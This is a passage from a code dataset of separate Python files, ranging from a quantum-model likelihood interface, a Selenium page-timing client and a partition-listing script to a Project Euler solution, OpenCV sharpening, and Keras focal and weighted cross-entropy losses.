hamiltonian=None,\n **kwargs\n ):\n r\"\"\"\n Compute probabilities of available outputs as an array.\n\n :param np.ndarray t_list: \n List of times on which to perform experiments\n :param np.ndarray particles: \n values of the model parameters particles \n A shape ``(n_particles, n_modelparams)``\n array of model parameter vectors describing the hypotheses for\n which the likelihood function is to be calculated.\n :param list oplist:\n list of the operators defining the model\n :param np.ndarray probe: quantum state to evolve\n\n :returns np.ndarray pr0: list of probabilities (one for each particle).\n The calculation, meaning and interpretation of these probabilities \n depends on the user defined ExplorationStrategy.expectation_value function. \n By default, it is the expecation value:\n | < probe.transpose | e^{-iHt} | probe > |**2,\n but can be replaced in the ExplorationStrategy_. \n \"\"\"\n\n from rq import timeouts\n if np.shape(probe)[0] < 4 : \n probe_to_print = probe\n else:\n probe_to_print = probe[0]\n\n self.log_print_debug([\n \"Getting pr0; true system ->\", self.true_evolution, \n \"\\n(part of) Probe (dimension {}): \\n {}\".format(\n np.shape(probe),\n probe_to_print,\n ),\n \"\\nTimes: \", t_list\n ])\n\n # if hamiltonian is not None: \n # self.log_print([\n # \"Hamiltonian passed:\\n\", hamiltonian\n # ])\n\n num_particles = len(particles)\n num_times = len(t_list)\n output = np.empty([num_particles, num_times])\n\n for evoId in range(num_particles): \n try:\n t_init = time.time()\n if hamiltonian is None:\n ham = np.tensordot(\n particles[evoId], oplist, axes=1\n )\n else: \n ham = hamiltonian\n\n if self.iqle_mode and self.true_evolution:\n # H to compute for IQLE on the system\n ham = self.true_hamiltonian - self.ham_from_expparams\n elif self.iqle_mode and not self.true_evolution:\n # H to compute for IQLE on the simulator\n ham = ham - self.ham_from_expparams\n if np.any(np.isnan(ham)):\n self.log_print([\"NaN detected in Hamiltonian. Ham from expparams:\", self.ham_from_expparams])\n\n self.timings[timing_marker]['construct_ham'] += time.time()-t_init\n except BaseException:\n self.log_print(\n [\n \"Failed to build Hamiltonian.\",\n \"\\nparticles:\", particles[evoId],\n \"\\noplist:\", oplist\n ],\n )\n raise\n # if evoId == 0:\n # self.log_print_debug([\n # \"\\nHamiltonian:\\n\", ham,\n # \"\\ntimes:\", t_list,\n # \"\\nH from expparams:\", self.ham_from_expparams\n # ])\n\n for tId in range(len(t_list)):\n\n t = t_list[tId]\n if t > 1e6: # Try limiting times to use to 1 million\n import random\n # random large number but still computable without error\n t = random.randint(1e6, 3e6)\n try:\n t_init = time.time()\n prob_meas_input_state = self.exploration_class.get_expectation_value(\n ham=ham,\n t=t,\n state=probe,\n log_file=self.log_file,\n log_identifier='get pr0 call exp val'\n )\n self.timings[timing_marker]['expectation_values'] += time.time() - t_init\n t_init = time.time()\n output[evoId][tId] = prob_meas_input_state\n self.timings[timing_marker]['storing_output'] += time.time() - t_init\n\n except NameError:\n self.log_print([\n \"Error raised; unphysical expecation value.\",\n \"\\nParticle:\\n\", particles[evoId],\n \"\\nt=\", t,\n ])\n sys.exit()\n except timeouts.JobTimeoutException:\n self.log_print([\n \"RQ Time exception.\",\n \"\\nParticle:\\n\", particles[evoId],\n \"\\nt=\", t,\n ])\n sys.exit()\n\n if output[evoId][tId] < 0:\n print(\"NEGATIVE PROB\")\n self.log_print([\n \"Negative probability : \\\n \\n probability = \",\n output[evoId][tId],\n \"\\nat t=\", t_list\n ])\n elif output[evoId][tId] > 1.001:\n self.log_print(\n [\n \"[QLE] Probability > 1: \\\n \\t \\t probability = \",\n output[evoId][tId]\n ]\n )\n return output\n\n\nclass QInferNVCentreExperiment(QInferModelQMLA):\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n\n def get_system_pr0_array(\n self, \n times,\n particles, \n **kwargs\n ):\n self.log_print_debug([\"Getting pr0 from experimental dataset.\"])\n # time = expparams['t']\n if len(times) > 1:\n self.log_print(\"Multiple times given to experimental true evolution:\", times)\n sys.exit()\n\n time = times[0]\n \n try:\n # If time already exists in experimental data\n experimental_expec_value = self.experimental_measurements[time]\n except BaseException:\n # map to nearest experimental time\n try:\n experimental_expec_value = qmla.shared_functionality.experimental_data_processing.nearest_experimental_expect_val_available(\n times=self.experimental_measurement_times,\n experimental_data=self.experimental_measurements,\n t=time\n )\n except:\n self.log_print_debug([\n \"Failed to get experimental data point\"\n ])\n raise\n self.log_print_debug([\n \"experimental value for t={}: {}\".format(\n time, \n experimental_expec_value\n )\n ])\n self.log_print_debug([\n \"Using experimental time\", time,\n \"\\texp val:\", experimental_expec_value\n ])\n pr0 = np.array([[experimental_expec_value]])\n self.log_print_debug([\n \"pr0 for system:\", pr0\n ])\n return pr0\n\n def get_simulator_pr0_array(\n self, \n particles, \n times,\n # **kwargs\n ):\n # map times to experimentally available times\n mapped_times = [\n qmla.shared_functionality.experimental_data_processing.nearest_experimental_time_available(\n times = self.experimental_measurement_times,\n t = t\n )\n for t in times\n ]\n return super().get_simulator_pr0_array(\n particles, \n mapped_times\n )\n\n\nclass QInferInterfaceJordanWigner(QInferModelQMLA):\n r\"\"\"\n For use when models are implemented via Jordan Wigner transformation, \n since this invokes 2 qubits per site in the system. \n Therefore, everything remains as in other models, \n apart from probe selection should use the appropriate probe id, \n but twice the number of qubits specified by the model. \n \"\"\"\n\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n\n def get_probe(\n self, \n probe_id, \n probe_set\n ):\n self.log_print([\n \"Using JW get_probe\"\n ])\n if probe_set == 'simulator':\n probe = self.sim_probe_dict[\n probe_id,\n 2*self.model_dimension ]\n return probe\n\n elif probe_set == 'system': \n # get dimension directly from true model since this can be generated by another ES \n # and therefore note require the 2-qubit-per-site overhead of Jordan Wigner.\n dimension = np.log2(np.shape(self.true_hamiltonian)[0])\n probe = self.probe_dict[\n probe_id,\n self._true_dim\n ]\n return probe\n else:\n self.log_print([\n \"get_probe must either act on simulator or system, received {}\".format(probe_set)\n ])\n raise ValueError(\n \"get_probe must either act on simulator or system, received {}\".format(probe_set)\n )\n\n\nclass QInferInterfaceAnalytical(QInferModelQMLA):\n r\"\"\"\n Analytically computes the likleihood for an exemplary case. \n \"\"\"\n\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n\n def get_system_pr0_array(\n self, \n times,\n particles, \n ):\n\n pr0 = np.empty([len(particles), len(times)])\n t = times[0]\n self.log_print_debug([\n \"(sys) particles:\", particles,\n \"time: \", t,\n \"\\n shapes: prt={} \\t times={}\".format(np.shape(particles), np.shape(times))\n ])\n\n for evoId in range(len(particles)):\n particle = particles[evoId][0]\n for t_id in range(len(times)):\n pr0[evoId][t_id] = (np.cos(particle * t / 2))**2\n\n return pr0\n\n def get_simulator_pr0_array(\n self, \n particles, \n times,\n # **kwargs\n ):\n pr0 = np.empty([len(particles), len(times)])\n t = times[0]\n self.log_print_debug([\n \"(sim) particles:\", particles,\n \"time: \", t,\n \"\\n shapes: prt={} \\t times={}\".format(np.shape(particles), np.shape(times))\n ])\n\n for evoId in range(len(particles)):\n particle = particles[evoId] \n for t_id in range(len(times)):\n pr0[evoId][t_id] = (np.cos(particle * t / 2))**2\n\n return pr0\n\n","sub_path":"qmla/shared_functionality/qinfer_model_interface.py","file_name":"qinfer_model_interface.py","file_ext":"py","file_size_in_byte":37564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"74152938","text":"\"\"\"\nA non-empty array A consisting of N integers is given. A pair of integers (P, Q), such that 0 ≤ P < Q < N, is called a slice of array A (notice that the slice contains at least two elements). The average of a slice (P, Q) is the sum of A[P] + A[P + 1] + ... + A[Q] divided by the length of the slice. To be precise, the average equals (A[P] + A[P + 1] + ... + A[Q]) / (Q − P + 1).\n\nFor example, array A such that:\n\n A[0] = 4\n A[1] = 2\n A[2] = 2\n A[3] = 5\n A[4] = 1\n A[5] = 5\n A[6] = 8\ncontains the following example slices:\n\nslice (1, 2), whose average is (2 + 2) / 2 = 2;\nslice (3, 4), whose average is (5 + 1) / 2 = 3;\nslice (1, 4), whose average is (2 + 2 + 5 + 1) / 4 = 2.5.\nThe goal is to find the starting position of a slice whose average is minimal.\n\nWrite a function:\n\ndef solution(A)\n\nthat, given a non-empty array A consisting of N integers, returns the starting position of the slice with the minimal average. If there is more than one slice with a minimal average, you should return the smallest starting position of such a slice.\n\nFor example, given array A such that:\n\n A[0] = 4\n A[1] = 2\n A[2] = 2\n A[3] = 5\n A[4] = 1\n A[5] = 5\n A[6] = 8\nthe function should return 1, as explained above.\n\nWrite an efficient algorithm for the following assumptions:\n\nN is an integer within the range [2..100,000];\neach element of array A is an integer within the range [−10,000..10,000].\nCopyright 2009–2021 by Codility Limited. All Rights Reserved. Unauthorized copying, publication or disclosure prohibited.\n\"\"\"\n\n# you can write to stdout for debugging purposes, e.g.\n# print(\"this is a debug message\")\n\ndef solution(A):\n presum = [[0]*len(A) for i in range(len(A))]\n min_avg = 10001\n start_pos = 0\n\n for i in range(len(A)):\n presum[i][i] = A[i]\n \n for k in range(1, 3):\n for j in range(0, len(A)-k):\n presum[j][j+k] = presum[j][j+k-1] + A[j+k]\n avg = presum[j][j+k] / (k+1)\n if avg < min_avg:\n start_pos = j\n min_avg = avg\n\n return start_pos\n\n# O(N ** 2) timeout\n# https://app.codility.com/demo/results/trainingB6KF4H-P9B/\n","sub_path":"codility/lessons/5.MinAvgTwoSlice O(N**2).py","file_name":"5.MinAvgTwoSlice O(N**2).py","file_ext":"py","file_size_in_byte":2177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"422628141","text":"#!/usr/bin/env python3\n# -*- encoding: utf-8 -*-\n\nimport http.client\nimport os\nimport random\nimport shutil\nfrom selenium import webdriver\nfrom selenium.common.exceptions import WebDriverException\nimport time\n\nfrom clients.PrototypeClient import PrototypeClient\n\n\nclass WebClient(PrototypeClient.PrototypeClient):\n def __init__(self, **kwargs):\n super(WebClient, self).__init__(**kwargs)\n self._logger.debug(\"WebClient.__init__()\")\n\n self._browser = None\n\n self._default_config.update({\n \"webdriver\": \"Firefox\",\n \"url_pool\": [\n \"https://google.de\",\n \"https://de.wikipedia.org/wiki/Wikipedia:Hauptseite\",\n \"https://heise.de\"\n ]\n })\n\n def prepare(self):\n self._logger.debug(\"WebClient.prepare()\")\n self.register_application()\n\n def run(self):\n self._logger.debug(\"WebClient.run()\")\n self._running = True\n\n if not self._browser:\n # no browser opened yet - load default config\n self._logger.info(\"No config applied yet - using default config\")\n self.set_config(config={})\n\n self._random_wait_start()\n\n while self._running:\n if not self._do_request():\n time.sleep(0.1)\n else:\n self._logger.debug(\"WebClient running\")\n\n # get next url\n url_pool = self._config[\"url_pool\"]\n url = url_pool[random.randint(0, len(url_pool) - 1)]\n\n # check url http/https otherwise add\n if not (url.startswith(\"http://\") or url.startswith(\"https://\")):\n url = \"http://\" + url\n\n # try except because ctrl+c in the right moment raises this exception - make sure it isn't raised unter other conditions\n try:\n # call a new site or do some interaction\n self.load_url(url=url)\n self._report_metric()\n except http.client.RemoteDisconnected as e:\n self._logger.warn(\"Caught Exception http.client.RemoteDisconnected: %s\" % (e))\n except Exception as e:\n self._logger.error(\"Browser get() exception %s\" % (e))\n\n self._request_finished()\n\n def clean_up(self):\n self._logger.debug(\"WebClient.clean_up()\")\n self.unregister_application()\n if self._browser:\n # TODO investigate difference between close() and quit() when dealing with multiple browser windows\n self._browser.quit()\n\n def _apply_config(self):\n self._logger.debug(\"WebClient._apply_config()\")\n\n if not self._browser:\n if self._config[\"webdriver\"] == \"Chrome\":\n chrome_options = webdriver.ChromeOptions()\n # chrome_options.add_argument(\"--incognito\")\n self._browser = webdriver.Chrome(chrome_options=chrome_options)\n elif self._config[\"webdriver\"] == \"Firefox\":\n firefox_options = webdriver.firefox.options.Options()\n firefox_options.add_argument(\"--private-window\")\n firefox_options.add_argument(\"--headless\")\n\n firefox_profile = webdriver.FirefoxProfile()\n firefox_profile.set_preference(\"browser.cache.disk.enable\", False)\n firefox_profile.set_preference(\"browser.cache.memory.enable\", False)\n firefox_profile.set_preference(\"browser.cache.offline.enable\", False)\n firefox_profile.set_preference(\"network.http.use-cache\", False)\n firefox_profile.set_preference(\"media.gmp-provider.enabled\", False) # Disable Cisco OpenH264 codec download\n\n # add extension manually because selenium can't handle the new extension format\n xpi_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), \"extensions/firefox/cache_cleanup/cache_cleanup-1.0-an+fx.xpi\")\n addon_id = \"{27cf6b57-3c62-4ce1-89bd-2ea90d9d7457}\"\n extensions_path = os.path.join(firefox_profile.profile_dir, \"extensions\")\n addon_path = os.path.join(extensions_path, addon_id + \".xpi\")\n if not os.path.exists(extensions_path):\n os.makedirs(extensions_path)\n shutil.copy(xpi_path, addon_path)\n\n log_path = os.path.join(self._log_dir, \"geckodriver.log\")\n\n self._browser = webdriver.Firefox(firefox_profile=firefox_profile, firefox_options=firefox_options, log_path=log_path)\n elif self._config[\"webdriver\"] == \"PhantomJS\":\n self._browser = webdriver.PhantomJS()\n else:\n self._logger.error(\"Unrecognized webdriver %s\" % (self._config[\"webdriver\"]))\n pass\n\n # TODO\n # check if config specifies a other browser and change to specified\n\n def load_url(self, url):\n self._logger.debug(\"WebClient.load_url()\")\n if self._browser:\n self._logger.debug(\"getting %s\" % (url))\n\n # if CTRL+C was pressed get() raises \"BadStatusLine: ''\" exception while kill -SIGINT is ok\n try:\n self._browser.get(url)\n except Exception as e:\n raise e\n\n self.calculate_web_metric()\n\n def calculate_web_metric(self):\n self._logger.debug(\"WebClient.calculate_web_metric()\")\n metric = {\"timing\": self.get_timing(), \"url\": self._browser.current_url}\n self._create_metric(metric=metric)\n\n def get_timing(self):\n self._logger.debug(\"WebClient.get_timing()\")\n timing = self._browser.execute_script(\"return performance.timing;\")\n # delete method\n if \"toJSON\" in timing:\n del(timing[\"toJSON\"])\n # convert timings\n # TODO fallback if navigationStart key isn't there\n ref = timing[\"navigationStart\"]\n for key in timing:\n if timing[key] != 0:\n timing[key] -= ref\n\n try:\n navigation_timing = self._browser.execute_script(\"return performance.getEntriesByType('navigation');\")\n resource_timing = self._browser.execute_script(\"return performance.getEntriesByType('resource');\")\n except WebDriverException as e:\n navigation_timing = []\n resource_timing = []\n\n for entry in navigation_timing + resource_timing:\n if \"toJSON\" in entry:\n del(entry[\"toJSON\"])\n\n return {\"timing\": timing, \"navigation_timing\": navigation_timing, \"resource_timing\": resource_timing}\n\n # TODO\n # add interaction methods like clicking and text entering\n\n\nif __name__ == '__main__':\n\n from clients.StandaloneClient import StandaloneClient\n\n # start client\n client = StandaloneClient.StandaloneClient(client_class=WebClient)\n client.run()\n","sub_path":"clients/clients/WebClient/WebClient.py","file_name":"WebClient.py","file_ext":"py","file_size_in_byte":6900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"319552601","text":"# importing required module\r\nfrom playsound import playsound\r\nfrom tkinter import *\r\n\r\nroot = Tk()\r\nroot.title('GeeksforGeeks sound player') # giving the title for our window\r\nroot.geometry(\"500x400\")\r\n\r\n\r\n# making function\r\ndef play():\r\n playsound('sounds/placing.mp3')\r\n\r\n\r\n# title on the screen you can modify it\r\ntitle = Label(root, text=\"GeeksforGeeks\", bd=9, relief=GROOVE,\r\n font=(\"times new roman\", 50, \"bold\"), bg=\"white\", fg=\"green\")\r\ntitle.pack(side=TOP, fill=X)\r\n\r\n# making a button which trigger the function so sound can be playeed\r\nplay_button = Button(root, text=\"Play Song\", font=(\"Helvetica\", 32),\r\n relief=GROOVE, command=play)\r\nplay_button.pack(pady=20)\r\n\r\ninfo = Label(root, text=\"Click on the button above to play song \",\r\n font=(\"times new roman\", 10, \"bold\")).pack(pady=20)\r\nroot.mainloop()","sub_path":"draft.py","file_name":"draft.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"483307728","text":"'''\nProblem 115\n\nA row measuring n units in length has red blocks with a minimum length of m units placed on it, such that any two red blocks (which are allowed to be different lengths) are separated by at least one black square.\n\nLet the fill-count function, F(m, n), represent the number of ways that a row can be filled.\n\nFor example, F(3, 29) = 673135 and F(3, 30) = 1089155.\n\nThat is, for m = 3, it can be seen that n = 30 is the smallest value for which the fill-count function first exceeds one million.\n\nIn the same way, for m = 10, it can be verified that F(10, 56) = 880711 and F(10, 57) = 1148904, so n = 57 is the least value for which the fill-count function first exceeds one million.\n\nFor m = 50, find the least value of n for which the fill-count function first exceeds one million.\n'''\n\nimport time\n\ndef counting_block_combinations_two():\n\tcache = {}\n\tn, m = 50, 50\n\tdef compute(n, m):\n\t\tif n in cache:\n\t\t\treturn cache[n]\n\t\telif n < m:\n\t\t\treturn 0\n\t\telse:\n\t\t\ttotal = 0\n\t\t\tfor i in range(m, n+1):\n\t\t\t\ttotal += 1 + compute(n - i - 1, m)\n\t\t\ttotal += compute(n-1, m)\n\t\t\tcache[n] = total\n\t\t\treturn total\n\twhile True:\n\t\tif compute(n, m) >= 1000000:\n\t\t\treturn n\n\t\tn = n + 1\n\nif __name__ == '__main__':\n\n\tstart = time.time()\n\tprint(counting_block_combinations_two())\n\tend = time.time()\n\n\tprint(\"Execution time: %fs\" %(end - start))\n","sub_path":"solutions/counting_block_combinations_two.py","file_name":"counting_block_combinations_two.py","file_ext":"py","file_size_in_byte":1341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"539768389","text":"#!/usr/bin/python3\n# -*- coding:utf-8 -*-\nimport os, re, subprocess, shutil\n\ndef getPhysical():\n\tfdisk = {}\n\tcommand = ('beesu LC_MESSAGES=C fdisk -l |grep /dev/sd')\n\tret = os.popen( command ).read()\n\tfor str in re.findall('Disk.* .*B', ret):\n\t\tfdisk[str.split()[1].strip(':')] = str.split()[2:4]\n\treturn fdisk\n\ndef getLogical():\n\tarr = {}\n\tarrmnt = getmntArr()\n\tcommand = ('beesu LC_MESSAGES=C /sbin/blkid -s TYPE -s LABEL |grep \"/dev/sd\"')\n\tfor key_val in os.popen( command ).read().split('\\n'):\n\t\tif len(key_val.split()) > 1:\n\t\t\tif len(key_val.split()) == 3:\n\t\t\t\tarr[key_val.split()[0].strip(':')] = [key_val.split()[1].replace('LABEL=', '').strip('\"'), ]\n\t\t\t\tarr[key_val.split()[0].strip(':')].append (key_val.split()[2].replace('TYPE=', '').strip('\"'))\n\t\t\tif len(key_val.split()) == 2: \n\t\t\t\tarr[key_val.split()[0].strip(':')] = ['nolabel', ]\n\t\t\t\tarr[key_val.split()[0].strip(':')].append (key_val.split()[1].replace('TYPE=', '').strip('\"'))\t\n\t\t\tif key_val.split()[0].strip(':') in arrmnt:\n\t\t\t\tfor a in arrmnt[key_val.split()[0].strip(':')] :\n\t\t\t\t\tarr[key_val.split()[0].strip(':')].append(a)\n\tfor key, val in list(arr.items()):\n\t\tif len(val) == 7 :\n\t\t\tdirls = os.listdir(val[6])\n\t\t\tif len(dirls) > 0:\n\t\t\t\tarr[key] = arr.get(key), dirls\n\t\t\telse:\n\t\t\t\tarr[key] = arr.get(key), ['disk empty',]\n\t\telse:\n\t\t\tadd = [ '---', '---','---', '---', '---' ]\n\t\t\tarr[key] = val + add \n\t\t\tif val[1] != 'swap':\n\t\t\t\tarr[key] = arr.get(key), ['is not mounted',]\n\t\t\telse:\n\t\t\t\tarr[key] = arr.get(key), ['swap partition',]\n\treturn arr\n\n\ndef getmntArr ():\n\tarrmnt = {}\n\tcommand2 = ( 'findmnt -lnC -o SOURCE,SIZE,USED,AVAIL,USE%,TARGET |grep sd' )\n\tfor line in os.popen( command2 ).read().split('\\n'):\n\t\tif len(line.split()) > 5:\n\t\t\tarrmnt[line.split()[0] ] = ( line.split()[1], line.split()[2], line.split()[3], line.split()[4], line.split()[5] ) \n\treturn arrmnt\n\nif __name__ == '__main__':\n\n\tphysical = getPhysical()\n\tlogical = getLogical()\n\tmnt = getmntArr()\n\n\t#print logical\n\t#print '-----------------------------------***'\n\t#print physical \n\t#print '-----------------------------------***'\n\t#print mnt\n\t\n\tfor key, val in list(physical.items()):\n\t\tprint(key + ': ' + val[0] + ' ' +val[1])\n\t\tfor key1, val1 in list(logical.items()):\n\t\t\tif key1[:-1] == key:\n\t\t\t\tprint(key1 + ': LABEL=' + val1[0][0], 'FS=' + val1[0][1], 'SIZE='+ val1[0][2], 'USED=' + val1[0][3], 'FREE=' + val1[0][4], 'USED%=' + val1[0][5], 'MOUNT=' + val1[0][6])\n\t\t\t\tprint(' ', val1[1])\n\t\tprint('')\n\t\t\n\n\n","sub_path":"make_MagOS/files/patches/rootfs/MagOS/usr/share/magos/modmnger3/cgi-bin/disks.py","file_name":"disks.py","file_ext":"py","file_size_in_byte":2479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"41354125","text":"import urllib\nimport requests\nfrom crossref.restful import Works, Etiquette\nmy_etiquette = Etiquette('Wikipedia quality bachelor thesis', '1.0', 'null', 'qamilnowak@gmail.com')\nstr(my_etiquette)\nworks = Works()\nworks = Works(etiquette=my_etiquette)\ndef fetch_issns():\n with open('doien_ga.tsv') as f:\n lines = f.readlines()[1:] # skip line 1 (table headers)\n\n articles = []\n for line in lines:\n articles.append(\n {\n 'issn': line.split('\\t')[0].strip(),\n })\n\n return articles\n\ndef retrieve_data(doi_encoded, article):\n return {\n 'issn': article['issn'],\n 'enc': doi_encoded['ISSN'][0] if 'ISSN' in doi_encoded else 'null',\n }\n\n\ndef fetch_results():\n results = []\n\n for article in fetch_issns():\n if works.doi(article['issn']) is not None:\n doi_encoded = works.doi(article['issn'])\n else:doi_encoded='null'\n print('[INFO] Parsed DOI: ' + str(article['issn']))\n results.append(\n retrieve_data(doi_encoded, article))\n\n return results\n\n\ndef write_to_file(results):\n with open('doien_ga_ext.tsv', 'w') as f:\n for result in results:\n for index, item in enumerate(result):\n if index < (len(result) - 1):\n f.write(str(result[item]) + '\\t')\n else:\n f.write(str(result[item]) + '\\n')\n\n print('INFO] Wrote to file')\n\n\nresults = fetch_results()\nwrite_to_file(results)\n","sub_path":"doi1.py","file_name":"doi1.py","file_ext":"py","file_size_in_byte":1535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"334320778","text":"'''\nCreated on Sep 2, 2016\n\n@author: uid38420\n'''\nimport os\nimport cv2\nimport numpy as np\nfrom glob import glob\n\ndatabase = \"D:/Codes/Python/PreProcessing/IlluminationNormalisation/results/YaleB/\"\n\ndef detectBlur(image):\n threshold = 100\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n \n # compute the Laplacian of the image and return the focus measure (variance of Laplacian)\n var = cv2.Laplacian(gray, cv2.CV_64F).var()\n text = \"Not Blurry\"\n\n if var < threshold:\n text = \"Blurry\"\n cv2.putText(image, \"{}: {:.2f}\".format(text, var), (10, 30),\n cv2.FONT_HERSHEY_SIMPLEX, 0.8, (0, 0, 255), 2)\n return image\n\n# generating kernels\n#Sharpening\nkernel_sharpen_1 = np.array([[-1, -1, -1], [-1, 9, -1], [-1, -1, -1]])\n#Excessive Sharpening\nkernel_sharpen_2 = np.array([[1, 1, 1], [1, -7, 1], [1, 1, 1]])\n#Edge Enhancement\nkernel_sharpen_3 = np.array([[-1, -1, -1, -1, -1],\n [-1, 2, 2, 2, -1],\n [-1, 2, 8, 2, -1],\n [-1, 2, 2, 2, -1],\n [-1, -1, -1, -1, -1]]) / 8.0\n\ndir = os.listdir(database) \nfor item in dir :\n if \".git\" not in item:\n fileName = database + item + \"/*.jpg\"\n \n for fn in glob(fileName):\n img1 = cv2.imread(fn)\n img2 = cv2.imread(fn)\n \n #detect blur\n blurriness = detectBlur(img2)\n \n name = fn.rpartition('\\\\')\n print('processing...' + name[2])\n \n # applying different kernels to the input image\n output_1 = cv2.filter2D(img1, -1, kernel_sharpen_1)\n output_2 = cv2.filter2D(img1, -1, kernel_sharpen_2)\n output_3 = cv2.filter2D(img1, -1, kernel_sharpen_3)\n output_4 = cv2.filter2D(output_1, -1, kernel_sharpen_3) #sharpen+edge\n \n #see all results simultaneously\n# result = np.hstack((blurriness, output_1,output_2, output_3, output_4))\n# cv2.imshow(\"res\", result)\n# cv2.waitKey(0)\n# fileName = name[2].rpartition('.')\n# resultPath = os.getcwd() + \"\\\\\" + \"results\" + \"\\\\\" + item + \"\\\\\"\n# if not os.path.exists(resultPath):\n# os.makedirs(resultPath)\n# resultName = resultPath + name[2]\n# cv2.imwrite(resultName, result)\n \n #save results\n #result - Sharpening\n resultPath = os.getcwd() + \"\\\\\" + \"results\" + \"\\\\\" + item + \"\\\\Sharpening\\\\\"\n if not os.path.exists(resultPath):\n os.makedirs(resultPath)\n resultName = resultPath + name[2]\n cv2.imwrite(resultName, output_1)\n \n #result - Edge Enhancement\n resultPath = os.getcwd() + \"\\\\\" + \"results\" + \"\\\\\" + item + \"\\\\Edge Enhancement\\\\\"\n if not os.path.exists(resultPath):\n os.makedirs(resultPath)\n resultName = resultPath + name[2]\n cv2.imwrite(resultName, output_3)\n \n #result - Sharpen+Edge\n resultPath = os.getcwd() + \"\\\\\" + \"results\" + \"\\\\\" + item + \"\\\\Sharpen+Edge\\\\\"\n if not os.path.exists(resultPath):\n os.makedirs(resultPath)\n resultName = resultPath + name[2]\n cv2.imwrite(resultName, output_4)","sub_path":"PreProcessing/Blurriness/sharpening.py","file_name":"sharpening.py","file_ext":"py","file_size_in_byte":3375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"383218531","text":"# Support Vector machine\r\n# Inputs a 2d Array and 1D array as Inputs\r\n# Vectorization or Feature Extraction, COnvert Text and Image data into\r\n# Array data for machie learning\r\n# samples 1D\r\n# Features 2D\r\n\r\n\r\nfrom sklearn import datasets\r\nfrom sklearn.datasets import load_iris\r\nfrom sklearn.datasets import get_data_home\r\nimport matplotlib.pyplot as plt\r\n\r\niris = load_iris()\r\niris.keys()\r\n\r\nn_samples, n_features = iris.data.shape\r\n\r\nprint(n_samples)\r\nprint(n_features)\r\nprint(iris.data[0])\r\n\r\nprint(iris.data.shape)\r\nprint(iris.target.shape)\r\n\r\nprint(iris.target)\r\nprint(iris.target_names)\r\n\r\n# These are the Feature Columns that will be used to plot the graph\r\n# Change between 0-3\r\nx_index = 2\r\ny_index = 3\r\n\r\n# this formatter will label the colorbar with the correct target names\r\nformatter = plt.FuncFormatter(lambda i, *args: iris.target_names[int(i)])\r\n\r\nplt.scatter(iris.data[:, x_index], iris.data[:, y_index],250, c=iris.target)\r\nplt.colorbar(ticks=[0, 1, 2], format=formatter)\r\nplt.xlabel(iris.feature_names[x_index])\r\nplt.ylabel(iris.feature_names[y_index])\r\nplt.show()\r\n","sub_path":"mc1.py","file_name":"mc1.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"101326557","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Mar 9 14:31:49 2020\n\n@author: arnoud\n\n% Self-defined Loss Functions\n\n\"\"\"\n\nimport tensorflow.keras.backend as K\nimport tensorflow as tf\nimport numpy as np\nfrom itertools import product\n\n\ndef focal_loss_fixed(y_true, y_pred, alpha_value, gamma_value):\n \"\"\"Focal loss for multi-classification\n FL(p_t)=-alpha(1-p_t)^{gamma}ln(p_t)\n Notice: y_pred is probability after softmax\n gradient is d(Fl)/d(p_t) not d(Fl)/d(x) as described in paper\n d(Fl)/d(p_t) * [p_t(1-p_t)] = d(Fl)/d(x)\n Focal Loss for Dense Object Detection\n https://arxiv.org/abs/1708.02002\n\n Arguments:\n y_true {tensor} -- ground truth labels, shape of [batch_size, num_cls]\n y_pred {tensor} -- model's output, shape of [batch_size, num_cls]\n\n Keyword Arguments:\n gamma {float} -- (default: {2.0})\n alpha {float} -- (default: {4.0})\n\n Returns:\n [tensor] -- loss.\n \"\"\"\n \n alpha, gamma = alpha_value, gamma_value\n\n epsilon = 1.e-9\n y_true = tf.convert_to_tensor(y_true, tf.float32)\n y_pred = tf.convert_to_tensor(y_pred, tf.float32)\n\n model_out = tf.add(y_pred, epsilon)\n ce = tf.multiply(y_true, -tf.math.log(model_out))\n weight = tf.multiply(y_true, tf.pow(tf.subtract(1., model_out), gamma))\n fl = tf.multiply(alpha, tf.multiply(weight, ce))\n reduced_fl = tf.reduce_max(fl, axis=1)\n return tf.reduce_mean(reduced_fl)\n\n\ndef wcce(y_true, y_pred, weights):\n Kweights = K.constant(weights)\n if not K.is_tensor(y_pred): y_pred = K.constant(y_pred)\n y_true = K.cast(y_true, y_pred.dtype)\n return K.categorical_crossentropy(y_true, y_pred) * K.sum(y_true * Kweights, axis=-1)\n\n\ndef w_categorical_crossentropy(y_true, y_pred, weights):\n nb_cl = len(weights)\n final_mask = K.zeros_like(y_pred[:, 0])\n y_pred_max = K.max(y_pred, axis=1)\n y_pred_max = K.expand_dims(y_pred_max, 1)\n y_pred_max_mat = K.equal(y_pred, y_pred_max)\n for c_p, c_t in product(range(nb_cl), range(nb_cl)):\n final_mask += (K.cast(weights[c_t, c_p],K.floatx()) * K.cast(y_pred_max_mat[:, c_p] ,K.floatx())* K.cast(y_true[:, c_t],K.floatx()))\n return K.categorical_crossentropy(y_pred, y_true) * final_mask\n\n\ndef my_categorical_crossentropy(y_true, y_pred): \n loss = K.categorical_crossentropy(y_true,y_pred) \n return loss\n \n \ndef score_loss(y_true, y_pred, n_class):\n loss = 0\n # number of classes\n for i in np.eye(n_class):\n y_true_ = K.constant([list(i)]) * y_true\n y_pred_ = K.constant([list(i)]) * y_pred\n loss += 0.5 * K.sum(y_true_ * y_pred_) / K.sum(y_true_ + y_pred_ + K.epsilon())\n return - K.log(loss + 